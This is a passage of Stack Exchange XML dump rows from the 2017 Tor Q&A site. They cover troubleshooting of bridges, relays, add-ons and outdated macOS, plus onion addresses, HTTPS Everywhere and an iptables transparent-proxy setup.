  <row Id="14857" PostTypeId="1" CreationDate="2017-05-26T01:59:22.950" Score="1" ViewCount="221" Body="&lt;p&gt;I am (mostly) aware of the privacy-compromising implications of installing addons to tbb, to mitigate that I have compartmentalized my habits a bit (diff VMs with diff tbb setups going through a tor-proxy). That said I have been trying to set one up as a &quot;comfortable n casual&quot; browser, javascript totally off but with addons like ad blocking, session manager, firegestures, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The catch seems to be that very few addons work properly, or at all, on the tor browser (7.0a4 in my case). A big issue is many addons just disapearing, I can see them and access options via the config:addons tab but they are non-existant anywhere else, not on any toolbars not when I go to customize nada.For example session manager is one of them, it actually seemed to work kinda once, that is showed up in the toorbar but disapeared when I restarted the browser, then (since I could access the options via the config:addon tab) I tried setting up its hotkeys and accessing it that way but again, nada.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that needs to be set to make tor more amenable to addons? so far only about half of the addons I installed are accessible/work.&lt;/p&gt;&#xA;" OwnerUserId="3643" LastActivityDate="2017-05-26T01:59:22.950" Title="How to actually install/fix addons on tor?" Tags="|linux|add-on|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14858" PostTypeId="2" ParentId="14661" CreationDate="2017-05-26T17:08:23.687" Score="1" Body="&lt;p&gt;As of &lt;a href=&quot;https://blog.torproject.org/blog/tor-0312-alpha-out-notes-about-0311-alpha&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor 0.3.1.1-alpha&lt;/a&gt; a fix is now included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the changelog:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Resolve &quot;Failure from drain_fd: No error&quot; warnings on Windows relays. Fixes bug &lt;a href=&quot;https://bugs.torproject.org/21540&quot; rel=&quot;nofollow noreferrer&quot;&gt;21540&lt;/a&gt;; bugfix on 0.2.6.3-alpha.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-26T17:08:23.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14859" PostTypeId="1" AcceptedAnswerId="14860" CreationDate="2017-05-26T18:04:59.310" Score="0" ViewCount="4808" Body="&lt;p&gt;I saw OrBot in Google PlayStore and decided to give it a shot. Once I enabled apps VPN mode and Bridges (just to see...) I started getting a lot of captchas. When I searched online for what could be done, I read somewhere that this can be solved by requesting different bridges from tor (they said it was due to lot of traffic from the bridge I was using). So I took some new bridges from tor. But now, when I start tor, it doesn't start. The log says this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Set background service to FOREGROUND&#xA;Orbot is starting…&#xA;Orbot is starting…&#xA;updating settings in Tor service&#xA;hidden services are enabled&#xA;updating torrc custom configuration...&#xA;success.&#xA;Orbot is starting…&#xA;Waiting for control port...&#xA;Connecting to control port: 35369&#xA;SUCCESS connected to Tor control port.&#xA;SUCCESS - authenticated to control port.&#xA;Starting Tor client… complete.&#xA;adding control port event handler&#xA;SUCCESS added control port event handler&#xA;Tor started; process id=9941&#xA;Starting polipo process&#xA;Polipo is running on port:8118&#xA;Polipo is running&#xA;NOTICE: Bridge at 'x.x.x.x:y' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;NOTICE: While fetching directory info, no running dirservers known. Will try again later. (purpose 6) &#xA;NOTICE: Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;TorService is shutting down&#xA;Using control port to shutdown Tor&#xA;sending HALT signal to Tor process&#xA;Orbot is deactivated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So whats wrong with this? Why ain't it starting? Please tell some layman answer for how I can solve this, or perhaps also a solution for getting rid of those captchas. Also note that I am using orbot app in android 6, so I don't feel like much coding can be done there. Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="17632" LastEditorUserId="88" LastEditDate="2017-05-29T19:58:30.813" LastActivityDate="2017-07-27T10:56:18.080" Title="Why isn't my tor starting?" Tags="|bridge|orbot|android|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14860" PostTypeId="2" ParentId="14859" CreationDate="2017-05-26T19:36:54.733" Score="2" Body="&lt;p&gt;You've appear to have specified &lt;code&gt;ReachableAddresses&lt;/code&gt; which means that you've told Tor is can't reach certain destinations, those destinations include the bridges that you've been given so Tor is avoiding connecting to them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NOTICE: Bridge at 'x.x.x.x:y' isn't reachable by our firewall policy.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to go into your settings and remove the limitations you've set on reachable addresses or ports by going into the Settings menu and going to the &lt;code&gt;ReachableAddresses&lt;/code&gt; section.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-26T19:36:54.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14863" PostTypeId="1" CreationDate="2017-05-27T09:27:34.233" Score="4" ViewCount="14559" Body="&lt;p&gt;I'm trying to set up a Tor relay on Debian Jessie. I edited the torrc file and set &lt;code&gt;RunAsDaemon 1&lt;/code&gt;. When I try to start tor with &lt;code&gt;sudo tor&lt;/code&gt; it returns this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] /var/lib/tor is not owned by this user (root, 0) but by debian-tor (110). Perhaps you are running Tor as the wrong user?&#xA;[warn] Failed to parse/validate config: Couldn't access/create private data directory &quot;/var/lib/tor&quot;&#xA;[err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="17638" LastEditorUserId="88" LastEditDate="2017-05-29T19:32:12.983" LastActivityDate="2019-09-03T21:40:49.770" Title="/var/lib/tor is not owned by this user (root, 0) but by debian-tor (110)" Tags="|configuration|relays|debian|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14864" PostTypeId="2" ParentId="14854" CreationDate="2017-05-27T09:29:08.073" Score="1" Body="&lt;p&gt;&lt;code&gt;fog&lt;/code&gt; was a 2014 GSOC project, and after that development was not continued.  So it's effectively dead and the code is rotting away.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2017-05-27T09:29:08.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14866" PostTypeId="1" CreationDate="2017-05-27T12:26:08.587" Score="0" ViewCount="882" Body="&lt;p&gt;this is the content of the historial connections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;27/5/17 12:01:52.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;27/5/17 12:01:52.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;27/5/17 12:01:53.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;27/5/17 12:01:53.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;27/5/17 12:01:54.700 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:01:55.800 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;27/5/17 12:01:56.000 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;27/5/17 12:01:56.000 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:01:56.300 [NOTICE] new bridge descriptor 'ndnop3' (fresh): $8DFCD8FB3285E855F5A55EDDA35696C743ABFC4E~ndnop3 at 109.105.109.165 &#xA;27/5/17 12:01:56.300 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:56.300 [NOTICE] Bridge 'NX01' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (85.17.30.79:443) based on the configured &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I' can't run tor after installed. It's strange because I never have been problems with TOR in MAC osx. My MAC OS X version is 10.11.6 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This are the message in the clipboard&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bridge address. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;27/5/17 12:01:56.300 [NOTICE] new bridge descriptor 'NX01' (fresh): $FC259A04A328A07FED1413E9FC6526530D9FD87A~NX01 at 85.17.30.79 &#xA;27/5/17 12:01:56.300 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:56.400 [NOTICE] new bridge descriptor 'ndnop5' (fresh): $BBB28DF0F201E706BE564EFE690FE9577DD8386D~ndnop5 at 109.105.109.147 &#xA;27/5/17 12:01:56.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:56.600 [NOTICE] new bridge descriptor 'noether' (fresh): $7B126FAB960E5AC6A629C729434FF84FB5074EC2~noether at 192.99.11.54 &#xA;27/5/17 12:01:56.600 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:57.400 [NOTICE] new bridge descriptor 'GreenBelt' (fresh): $C73ADBAC8ADFDBF0FC0F3F4E8091C0107D093716~GreenBelt at 154.35.22.9 &#xA;27/5/17 12:01:57.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:57.500 [NOTICE] new bridge descriptor 'Azadi' (fresh): $FE7840FE1E21FE0A0639ED176EDA00A3ECA1E34D~Azadi at 154.35.22.13 &#xA;27/5/17 12:01:57.500 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:57.600 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:01:57.700 [NOTICE] Bridge 'Lisbeth' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (192.95.36.142:443) based on the configured Bridge address. &#xA;27/5/17 12:01:57.700 [NOTICE] new bridge descriptor 'Lisbeth' (fresh): $CDF2E852BF539B82BD10E27E9115A31734E378C2~Lisbeth at 192.95.36.142 &#xA;27/5/17 12:01:57.700 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:58.200 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:01:58.400 [NOTICE] new bridge descriptor 'MaBishomarim' (fresh): $A832D176ECD5C7C6B58825AE22FC4C90FA249637~MaBishomarim at 154.35.22.11 &#xA;27/5/17 12:01:58.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:58.700 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;27/5/17 12:01:58.900 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:01:59.200 [NOTICE] new bridge descriptor 'cymrubridge33' (fresh): $0BAC39417268B96B9F514E7F63FA6FBA1A788955~cymrubridge33 at 38.229.33.83 &#xA;27/5/17 12:01:59.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:01:59.200 [NOTICE] new bridge descriptor 'cymrubridge31' (fresh): $C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4~cymrubridge31 at 38.229.1.78 &#xA;27/5/17 12:01:59.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;27/5/17 12:02:01.800 [NOTICE] Bootstrapped 45%: Asking for relay descriptors &#xA;27/5/17 12:02:01.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 5970/7148, and can only build 59% of likely paths. (We have 86% of guards bw, 84% of midpoint bw, and 82% of exit bw = 59% of path bw.) &#xA;27/5/17 12:02:02.000 [NOTICE] Bootstrapped 78%: Loading relay descriptors &#xA;27/5/17 12:02:02.700 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;27/5/17 12:02:03.500 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;27/5/17 12:02:04.900 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;27/5/17 12:02:04.900 [NOTICE] Bootstrapped 100%: Done &#xA;27/5/17 12:02:06.700 [NOTICE] New control connection opened from 127.0.0.1. &#xA;27/5/17 12:02:06.800 [NOTICE] New control connection opened from 127.0.0.1. &#xA;27/5/17 12:03:10.900 [WARN] Proxy Client: unable to connect to 154.35.22.10:15937 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:03:10.900 [WARN] Proxy Client: unable to connect to 154.35.22.12:4304 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:04:27.800 [WARN] Proxy Client: unable to connect to 154.35.22.12:4304 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:04:27.800 [WARN] Proxy Client: unable to connect to 154.35.22.10:15937 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:11:37.500 [NOTICE] Bridge at '154.35.22.13:16815' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;27/5/17 12:11:37.500 [NOTICE] Bridge at '83.212.101.3:50002' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;27/5/17 12:11:37.500 [NOTICE] Bridge at '154.35.22.10:15937' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;27/5/17 12:11:37.500 [NOTICE] Bridge at '154.35.22.11:16488' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;27/5/17 12:11:37.500 [NOTICE] Bridge at '154.35.22.12:4304' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;27/5/17 12:11:37.500 [NOTICE] Bridge at '154.35.22.9:12166' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;27/5/17 12:11:37.500 [NOTICE] Bridge at '109.105.109.165:10527' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;27/5/17 12:11:37.500 [NOTICE] Bridge at '109.105.109.147:13764' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;27/5/17 12:11:37.500 [WARN] Could not choose valid address for MaBishomarim &#xA;27/5/17 12:11:37.500 [WARN] Could not make a one-hop connection to $A832D176ECD5C7C6B58825AE22FC4C90FA249637. Discarding this circuit. &#xA;27/5/17 12:11:37.500 [WARN] Could not choose valid address for Mosaddegh &#xA;27/5/17 12:11:37.500 [WARN] Could not make a one-hop connection to $8FB9F4319E89E5C6223052AA525A192AFBC85D55. Discarding this circuit. &#xA;27/5/17 12:11:37.500 [WARN] Could not choose valid address for Azadi &#xA;27/5/17 12:11:37.500 [WARN] Could not make a one-hop connection to $FE7840FE1E21FE0A0639ED176EDA00A3ECA1E34D. Discarding this circuit. &#xA;27/5/17 12:11:37.500 [WARN] Could not choose valid address for Mosaddegh &#xA;27/5/17 12:11:37.500 [WARN] Could not make a one-hop connection to $8FB9F4319E89E5C6223052AA525A192AFBC85D55. Discarding this circuit. &#xA;27/5/17 12:11:37.500 [WARN] Could not choose valid address for MaBishomarim &#xA;27/5/17 12:11:37.500 [WARN] Could not make a one-hop connection to $A832D176ECD5C7C6B58825AE22FC4C90FA249637. Discarding this circuit. &#xA;27/5/17 12:11:37.500 [WARN] Could not choose valid address for JonbesheSabz &#xA;27/5/17 12:11:37.500 [WARN] Could not make a one-hop connection to $00DC6C4FA49A65BD1472993CF6730D54F11E0DBB. Discarding this circuit. &#xA;27/5/17 12:11:38.100 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:11:40.100 [NOTICE] Bridge 'NX01' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (85.17.30.79:443) based on the configured Bridge address. &#xA;27/5/17 12:11:40.100 [NOTICE] new bridge descriptor 'NX01' (fresh): $FC259A04A328A07FED1413E9FC6526530D9FD87A~NX01 at 85.17.30.79 &#xA;27/5/17 12:11:40.300 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:11:40.500 [WARN] Could not choose valid address for MaBishomarim &#xA;27/5/17 12:11:40.500 [WARN] Could not make a one-hop connection to $A832D176ECD5C7C6B58825AE22FC4C90FA249637. Discarding this circuit. &#xA;27/5/17 12:11:40.500 [WARN] Could not choose valid address for Mosaddegh &#xA;27/5/17 12:11:40.500 [WARN] Could not make a one-hop connection to $8FB9F4319E89E5C6223052AA525A192AFBC85D55. Discarding this circuit. &#xA;27/5/17 12:11:41.000 [NOTICE] Tried to fetch a descriptor directly from a bridge, but that bridge is not reachable through our firewall. &#xA;27/5/17 12:11:41.500 [NOTICE] Tried to fetch a descriptor directly from a bridge, but that bridge is not reachable through our firewall. &#xA;27/5/17 12:11:41.600 [NOTICE] Tried to fetch a descriptor directly from a bridge, but that bridge is not reachable through our firewall. &#xA;27/5/17 12:11:41.700 [NOTICE] Tried to fetch a descriptor directly from a bridge, but that bridge is not reachable through our firewall. &#xA;27/5/17 12:11:42.100 [NOTICE] Tried to fetch a descriptor directly from a bridge, but that bridge is not reachable through our firewall. &#xA;27/5/17 12:12:25.500 [NOTICE] Delaying directory fetches: No running bridges &#xA;27/5/17 12:14:34.600 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:14:34.900 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:14:35.500 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:14:35.700 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:15:49.600 [WARN] Proxy Client: unable to connect to 154.35.22.11:16488 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:15:49.600 [WARN] Proxy Client: unable to connect to 154.35.22.10:15937 (&quot;general SOCKS server failure&quot;) &#xA;27/5/17 12:15:49.700 [WARN] Proxy Client: unable to connect to 154.35.22.12:4304 (&quot;general SOCKS server failure&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17641" LastEditorUserId="16657" LastEditDate="2017-05-27T12:36:47.733" LastActivityDate="2017-09-24T20:44:43.467" Title="I have installed TOR and I'cant run it" Tags="|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14867" PostTypeId="1" CreationDate="2017-05-27T14:44:43.380" Score="1" ViewCount="2365" Body="&lt;p&gt;&lt;code&gt;Tor Browser&lt;/code&gt; 7.0a2 shows the availability of a new build, but after updating it crashes and logs the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Application Specific Information:&#xA;abort() called&#xA;application requires at least Mac OS X version 10.9.0, but is being run on 10.8.5, and so is exiting.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, that's great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the recommendation for older systems? &lt;em&gt;Other than&lt;/em&gt; upgrading the OS to the latest rubbish. Keep the alpha build? Use the latest stable release? Any other alternatives? And how can I turn off the flashing warning in &lt;code&gt;Torbutton&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re the flashing warning in &lt;code&gt;Torbutton&lt;/code&gt;, I opened &lt;code&gt;about:config&lt;/code&gt; and set &lt;code&gt;extensions.torbutton.versioncheck_enabled&lt;/code&gt; to false.&lt;/p&gt;&#xA;" OwnerUserId="1052" LastEditorUserId="1052" LastEditDate="2017-05-31T16:31:40.710" LastActivityDate="2017-05-31T16:31:40.710" Title="Tor Browser dropped support for 10.8" Tags="|support|update|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14868" PostTypeId="2" ParentId="14866" CreationDate="2017-05-27T19:00:36.487" Score="1" Body="&lt;p&gt;It looks like none of the default bridges are reachable by your &lt;code&gt;ReachableAddresses&lt;/code&gt; policy. You've told Tor you can only access specific IP addresses or ports but none of the bridges have addresses that are compatible with that policy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[NOTICE] Bridge at '109.105.109.147:13764' isn't reachable by our firewall policy. Asking bridge authority instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you go: to Onion Menu -&gt; Edit the settings for &quot;Allowed Ports&quot;, then try to connect again you should be able to resolve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your allowed ports is accurate and you aren't able to connect to any of the default bridges then you could try fetching some fresh bridges from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-27T19:00:36.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14870" PostTypeId="1" CreationDate="2017-05-28T01:28:03.623" Score="3" ViewCount="447" Body="&lt;p&gt;When will the domain name contain more than 16 characters that are in base 32?&lt;br&gt;&#xA;(or when will it change from base 32 to base &lt;em&gt;x&lt;/em&gt;?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it still &quot;worth it&quot; to spend time and processing power to generate a custom onion domain?&lt;/p&gt;&#xA;" OwnerUserId="17648" LastEditorUserId="17648" LastEditDate="2017-05-28T01:43:44.797" LastActivityDate="2017-05-29T19:54:48.817" Title="Tor domain name" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14871" PostTypeId="2" ParentId="14867" CreationDate="2017-05-28T01:58:07.097" Score="1" Body="&lt;h1&gt;Why Run Supported Software&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I agree with @canonizingironize, you are still going to be a target. There are so many people running out-of-date software that targeting them is lucrative. Also, let's not forget that you'll still be vulnerable to many of the newly discovered security issues. Many security holes are only found and fixed years after they were introduced. Hence, an adversary might target Firefox 58 but your Firefox 45 might be affected by the same issue. Also, I doubt anybody is going to throw away old exploits just because there are fewer people that are vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by &quot;Tor Browser is self-contained&quot;. Yes, Tor Browser inherits some sandboxing from Firefox, disables some features and adds some hardening. Sandboxing might well be broken since it depends on features provided by your unsupported OS. Furthermore, Tor Browser is based on Firefox and inherits a large number of it's security bugs. Just take a look at the published &lt;a href=&quot;https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox-esr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;advisories&lt;/a&gt; and you'll notice that many of the issues apply to Tor Browser as well. Particularly, on lower security levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, if you care about security, you'll have no choice but to update to a supported OS.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Answers, Question by Question:&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's the recommendation for older systems? Other than upgrading the OS to the latest rubbish.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are no recommendation except DON'T! Everybody that cares even just a tiny bit about security must upgrade. In case you do not care about security at all, there is no reason to update your OS. Just as there is no reason to use Tor in the first place.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Keep the alpha build?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unless you run a supported version of it, this is a terrible idea. Also, you should run a supported OS whether you're running Tor Browser or not.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use the latest stable release?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ditto&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any other alternatives?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could try a different OS.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And how can I turn off the flashing warning in Torbutton?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You answered this yourself already.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-05-28T12:25:48.593" LastActivityDate="2017-05-28T12:25:48.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14872" PostTypeId="2" ParentId="14870" CreationDate="2017-05-28T02:33:58.070" Score="3" Body="&lt;p&gt;Implementation is still ongoing, have a look at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12424&quot; rel=&quot;nofollow noreferrer&quot;&gt;this ticket&lt;/a&gt; to see the status. I'm not aware that the Tor Project or any of the developers ever announced a release date. Yet, based on the implementation status, I'd guess that the implementation may well be finished this year. Also, the milestone is set to 0.3.2.x which is due to be released around that time. Yet, let's not forget that it needs to be tested and there needs to be a transitional period for everybody to switch to the new hidden services. If I'd have to guess, I'd say the new hidden services are going to be available in the stable Tor release towards the end of 2017 or first half of 2018. Removing support for the old hidden services, I wouldn't expect any time soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether it's worth to spend CPU power on generating a key, you need to decide for yourself. If you ask me, generating readable onion addresses has never been worth spending any CPU time. (Just my opinion.)&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-28T02:33:58.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14874" PostTypeId="1" CreationDate="2017-05-29T00:18:05.787" Score="3" ViewCount="6215" Body="&lt;p&gt;I don't see an option to install the HTTPS Everywhere add-on on the Tor Browser.  Is the HTTPS not needed on the Tor Browser?&lt;br&gt;&#xA;Does Tor encrypt one's data like the HTTPS Everywhere add-on?&#xA;I'm new to safe browsing (have read FAQs and other information, but not understanding a much of it at the moment).&lt;br&gt;&#xA;Suggestions and direction are appreciated.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="17656" LastActivityDate="2020-08-23T02:55:58.997" Title="HTTPS Everywhere and Tor" Tags="|encryption|https|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14876" PostTypeId="1" CreationDate="2017-05-29T09:01:50.430" Score="1" ViewCount="980" Body="&lt;p&gt;I'm new to TOR and I'm trying to anonymize Internet connections from an automated malware analysis lab. All my machines are in the same subnetwork, and I just specify my TOR machine as a gateway for infected machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my basic torrc configuration : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsSuffixes .onion,.exit&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;DNSPort 53&#xA;TransListenAddress 0.0.0.0&#xA;DNSListenAddress 0.0.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only have one network interface and I can't make it work when dealing with iptables. My basic idea was just to redirect any DNS connection from an infected machine to local port 53 (DNSPort), and any TCP connections from these machines to port 9040 (TransPort). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first idea about iptables rules was something like : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A PREROUTING -s &amp;lt;INFECTEDMACHINE&amp;gt; -p udp --dport 53 -j REDIRECT --to-ports 53&#xA;iptables -t nat -A PREROUTING -s &amp;lt;INFECTEDMACHINE&amp;gt; -p tcp -j REDIRECT --to-ports 9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I have a rather basic knowledge of iptables, it doesn't work and I think this &quot;obvious&quot; way can't work with only one interface. By the way I'm probably missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank's&lt;/p&gt;&#xA;" OwnerUserId="17663" LastActivityDate="2017-05-29T09:01:50.430" Title="Iptables - Transparent Proxy with only one interface" Tags="|transparent-proxy|iptables|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14877" PostTypeId="2" ParentId="14874" CreationDate="2017-05-29T11:18:16.837" Score="2" Body="&lt;p&gt;HTTPS Everywhere is already included in Tor Browser. Its button is next to the Firefox menu button.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the HTTPS not needed on the Tor Browser?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is recommended to always use HTTPS whenever possible over Tor, except on .onion sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browsing over HTTP over Tor could actually be dangerous, as there is a higher risk of man-in-the-middle (MITM) attacks. These could come from either the exit node or anyone who is able to tamper with the connection after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most dangerous of these would be javascript exploits, which would target possible unpatched vulnerabilities in Firefox. This is why you should have your Tor Browser on at least the medium (on untrusted sites, high) security setting using Torbutton, which disables javascript being used over HTTP connections, or set HTTPS Everywhere to block unencrypted connections while you don't need to use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you send any data to a site over HTTP, it can be 